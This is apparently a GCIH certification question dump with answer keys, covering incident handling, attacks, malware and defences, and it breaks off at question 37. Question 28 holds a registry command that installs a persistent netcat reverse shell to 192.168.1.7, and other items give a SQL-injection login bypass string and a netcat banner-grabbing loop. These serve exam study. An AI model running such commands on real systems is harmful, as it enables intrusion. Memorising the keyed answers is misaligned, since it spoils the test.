GIAC

Exam GCIH

GIAC Certified Incident Handler

Version: 7.1

[Total Questions: 328]

Topic break down

Topic	No. of Questions
Topic 1: Volume A	98
Topic 2: Volume B	96
Topic 3: Volume C	134

Topic 1, Volume A

Question No : 1 - (Topic 1)

Which of the following refers to the exploitation of a valid computer session to gain unauthorized access to information or services in a computer system?

A. Piggybacking
B. Hacking
C. Session hijacking
D. Keystroke logging

Answer: C

Question No : 2 - (Topic 1)

Your network is being flooded by ICMP packets. When you trace them down they come from multiple different IP addresses. What kind of attack is this?

A. Syn flood
B. Ping storm
C. Smurf attack
D. DDOS

Answer: D

Question No : 3 - (Topic 1)

Which of the following statements about a *Trojan horse* are true?

Each correct answer represents a complete solution. Choose two.

A. It is a macro or script that attaches itself to a file or template.
B. The writers of a Trojan horse can use it later to gain unauthorized access to a computer.
C. It is a malicious software program code that resembles another normal program.
D. It infects the boot record on hard disks and floppy disks.

Answer: B,C

Question No : 4 - (Topic 1)

Which of the following applications is an example of a data-sending Trojan?

A. SubSeven
B. Senna Spy Generator
C. Firekiller 2000
D. eBlaster

Answer: D

Question No : 5 - (Topic 1)

You run the following command while using Nikto Web scanner:

perl nikto.pl -h 192.168.0.1 -p 443

What action do you want to perform?

A. Using it as a proxy server
B. Updating Nikto
C. Seting Nikto for network sniffing
D. Port scanning

Answer: D

Question No : 6 CORRECT TEXT - (Topic 1)

Fill in the blank with the appropriate word.

StackGuard (as used by Immunix), ssp/ProPolice (as used by OpenBSD), and Microsoft's /GS option use _______ defense against buffer overflow attacks.

Answer: canary

Question No : 7 - (Topic 1)

Adam works as a Senior Programmer for Umbrella Inc. A project has been assigned to him to write a short program to gather user input for a Web application. He wants to keep his program neat and simple. His chooses to use printf(str) where he should have ideally used printf("%s", str).

What attack will his program expose the Web application to?

A. Format string attack
B. Cross Site Scripting attack
C. SQL injection attack
D. Sequence++ attack

Answer: A

Question No : 8 - (Topic 1)

John works as a Professional Penetration Tester. He has been assigned a project to test the Website security of www.we-are-secure Inc. On the We-are-secure Website login page, he enters **='or''='** as a username and successfully logs on to the user page of the Web site. Now, John asks the we-aresecure Inc. to improve the login page PHP script. Which of the following suggestions can John give to improve the security of the we-are-secure Website login page from the SQL injection attack?

A. Use the escapeshellarg() function
B. Use the session_regenerate_id() function
C. Use the mysql_real_escape_string() function for escaping input
D. Use the escapeshellcmd() function

Answer: C

Question No : 9 - (Topic 1)

Which of the following statements are true about firewalking?

Each correct answer represents a complete solution. Choose all that apply.

A. To use firewalking, the attacker needs the IP address of the last known gateway before the firewall and the IP address of a host located behind the firewall.
B. In this technique, an attacker sends a crafted packet with a TTL value that is set to expire one hop past the firewall.
C. A malicious attacker can use firewalking to determine the types of ports/protocols that can bypass the firewall.
D. Firewalking works on the UDP packets.

Answer: A,B,C

Question No : 10 - (Topic 1)

Adam has installed and configured his wireless network. He has enabled numerous security features such as changing the default SSID, enabling WPA encryption, and enabling MAC filtering on his wireless router. Adam notices that when he uses his wireless connection, the speed is sometimes 16 Mbps and sometimes it is only 8 Mbps or less. Adam connects to the management utility wireless router and finds out that a machine with an unfamiliar name is connected through his wireless connection. Paul checks the router's logs and notices that the unfamiliar machine has the same MAC address as his laptop.

Which of the following attacks has been occurred on the wireless network of Adam?

A. NAT spoofing
B. DNS cache poisoning
C. MAC spoofing
D. ARP spoofing

Answer: C

Question No : 11 - (Topic 1)

Which of the following malicious software travels across computer networks without the assistance of a user?

A. Worm
B. Virus
C. Hoax

D. Trojan horses

Answer: A

Question No : 12 - (Topic 1)

Which of the following types of attacks is only intended to make a computer resource unavailable to its users?

A. Denial of Service attack
B. Replay attack
C. Teardrop attack
D. Land attack

Answer: A

Question No : 13 - (Topic 1)

Which of the following tools can be used for stress testing of a Web server?

Each correct answer represents a complete solution. Choose two.

A. Internet bots
B. Scripts
C. Anti-virus software
D. Spyware

Answer: A,B

Question No : 14 - (Topic 1)

Adam works as a Network Administrator for PassGuide Inc. He wants to prevent the network from DOS attacks. Which of the following is most useful against DOS attacks?

A. SPI
B. Distributive firewall
C. Honey Pot

D. Internet bot

Answer: A

Question No : 15 - (Topic 1)

Which of the following tools can be used for steganography?

Each correct answer represents a complete solution. Choose all that apply.

A. Image hide
B. Stegbreak
C. Snow.exe
D. Anti-x

Answer: A,C

Question No : 16 - (Topic 1)

Which of the following attacks is specially used for cracking a password?

A. PING attack
B. Dictionary attack
C. Vulnerability attack
D. DoS attack

Answer: B

Question No : 17 CORRECT TEXT - (Topic 1)

Fill in the blank with the appropriate term.

_______is the practice of monitoring and potentially restricting the flow of information outbound from one network to another

Answer: Egress filtering

Question No : 18 - (Topic 1)

John works as a professional Ethical Hacker. He has been assigned a project to test the security of www.we-are-secure.com. On the We-are-secure login page, he enters **='or''='** as a username and successfully logs in to the user page of the Web site.

The we-are-secure login page is vulnerable to a __________.

A. Dictionary attack
B. SQL injection attack
C. Replay attack
D. Land attack

Answer: B

Question No : 19 - (Topic 1)

Which of the following statements about *Denial-of-Service (DoS)* attack are true?

Each correct answer represents a complete solution. Choose three.

A. It disrupts services to a specific computer.
B. It changes the configuration of the TCP/IP protocol.
C. It saturates network resources.
D. It disrupts connections between two computers, preventing communications between services.

Answer: A,C,D

Question No : 20 - (Topic 1)

Which of the following tools combines two programs, and also encrypts the resulting package in an attempt to foil antivirus programs?

A. Trojan Man
B. EliteWrap
C. Tiny
D. NetBus

Answer: A

Question No : 21 - (Topic 1)

Which of the following Incident handling process phases is responsible for defining rules, collaborating human workforce, creating a back-up plan, and testing the plans for an enterprise?

A. Preparation phase
B. Eradication phase
C. Identification phase
D. Recovery phase
E. Containment phase

Answer: A

Question No : 22 - (Topic 1)

Which of the following DoS attacks affects mostly Windows computers by sending corrupt UDP packets?

A. Fraggle
B. Ping flood
C. Bonk
D. Smurf

Answer: C

Question No : 23 - (Topic 1)

Which of the following is a network worm that exploits the RPC sub-system vulnerability present in the Microsoft Windows operating system?

A. Win32/Agent
B. WMA/TrojanDownloader.GetCodec
C. Win32/Conflicker
D. Win32/PSW.OnLineGames

Answer: C

Question No : 24 - (Topic 1)

Maria works as a professional Ethical Hacker. She is assigned a project to test the security of www.we-are-secure.com. She wants to test a DoS attack on the We-are-secure server. She finds that the firewall of the server is blocking the ICMP messages, but it is not checking the UDP packets. Therefore, she sends a large amount of UDP echo request traffic to the IP broadcast addresses. These UDP requests have a spoofed source address of the We-are-secure server. Which of the following DoS attacks is Maria using to accomplish her task?

A. Ping flood attack
B. Fraggle DoS attack
C. Teardrop attack
D. Smurf DoS attack

Answer: B

Question No : 25 - (Topic 1)

Which of the following statements are true about a keylogger?

Each correct answer represents a complete solution. Choose all that apply.

A. It records all keystrokes on the victim's computer in a predefined log file.
B. It can be remotely installed on a computer system.
C. It is a software tool used to trace all or specific activities of a user on a computer.
D. It uses hidden code to destroy or scramble data on the hard disk.

Answer: A,B,C

Question No : 26 - (Topic 1)

Adam works as a Security Administrator for Umbrella Inc. A project has been assigned to him to secure access to the network of the company from all possible entry points. He segmented the network into several subnets and installed firewalls all over the network. He has placed very stringent rules on all the firewalls, blocking everything in and out except the ports that must be used. He does need to have port 80 open since his company hosts a website that must be accessed from the Internet. Adam is still worried about the programs like Hping2 that can get into a network through covert channels.

Which of the following is the most effective way to protect the network of the company from an attacker using Hping2 to scan his internal network?

A. Block all outgoing traffic on port 21
B. Block all outgoing traffic on port 53
C. Block ICMP type 13 messages
D. Block ICMP type 3 messages

Answer: C

Question No : 27 - (Topic 1)

You have configured a virtualized Internet browser on your Windows XP professional computer. Using the virtualized Internet browser, you can protect your operating system from which of the following?

A. Brute force attack
B. Mail bombing
C. Distributed denial of service (DDOS) attack
D. Malware installation from unknown Web sites

Answer: D

Question No : 28 - (Topic 1)

You run the following command on the remote Windows server 2003 computer:

```
c:\reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v nc /t REG_SZ /d "c:\windows\nc.exe -d 192.168.1.7 4444 -e cmd.exe"
```

What task do you want to perform by running this command?

Each correct answer represents a complete solution. Choose all that apply.

A. You want to perform banner grabbing.

B. You want to set the Netcat to execute command any time.
C. You want to put Netcat in the stealth mode.
D. You want to add the Netcat command to the Windows registry.

Answer: B,C,D

Question No : 29 - (Topic 1)

Which of the following methods can be used to detect session hijacking attack?

A. nmap
B. Brutus
C. ntop
D. sniffer

Answer: D

Question No : 30 - (Topic 1)

Network mapping provides a security testing team with a blueprint of the organization. Which of the following steps is NOT a part of manual network mapping?

A. Gathering private and public IP addresses
B. Collecting employees information
C. Banner grabbing
D. Performing Neotracerouting

Answer: D

Question No : 31 - (Topic 1)

You run the following bash script in Linux:

```
for i in 'cat hostlist.txt' ;do

nc -q 2 -v $i 80 < request.txt done
```

Where, hostlist.txt file contains the list of IP addresses and request.txt is the output file.
Which of the following tasks do you want to perform by running this script?

A. You want to put nmap in the listen mode to the hosts given in the IP address list.
B. You want to perform banner grabbing to the hosts given in the IP address list.
C. You want to perform port scanning to the hosts given in the IP address list.
D. You want to transfer file hostlist.txt to the hosts given in the IP address list.

Answer: B

Question No : 32 - (Topic 1)

Which of the following is a computer worm that caused a denial of service on some Internet hosts and dramatically slowed down general Internet traffic?

A. Klez
B. Code red
C. SQL Slammer
D. Beast

Answer: C

Question No : 33 - (Topic 1)

Which of the following functions can you use to mitigate a command injection attack?

Each correct answer represents a part of the solution. Choose all that apply.

A. escapeshellarg()
B. escapeshellcmd()
C. htmlentities()
D. strip_tags()

Answer: A,B

Question No : 34 - (Topic 1)

In which of the following DoS attacks does an attacker send an ICMP packet larger than 65,536 bytes to the target system?

A. Ping of death
B. Jolt
C. Fraggle
D. Teardrop

Answer: A

Question No : 35 - (Topic 1)

Adam, a malicious hacker, wants to perform a reliable scan against a remote target. He is not concerned about being stealth at this point.

Which of the following type of scans would be most accurate and reliable?

A. UDP sacn
B. TCP Connect scan
C. ACK scan
D. Fin scan

Answer: B

Question No : 36 - (Topic 1)

Which of the following types of attacks is mounted with the objective of causing a negative impact on the performance of a computer or network?

A. Vulnerability attack
B. Man-in-the-middle attack
C. Denial-of-Service (DoS) attack
D. Impersonation attack

Answer: C

Question No : 37 - (Topic 1)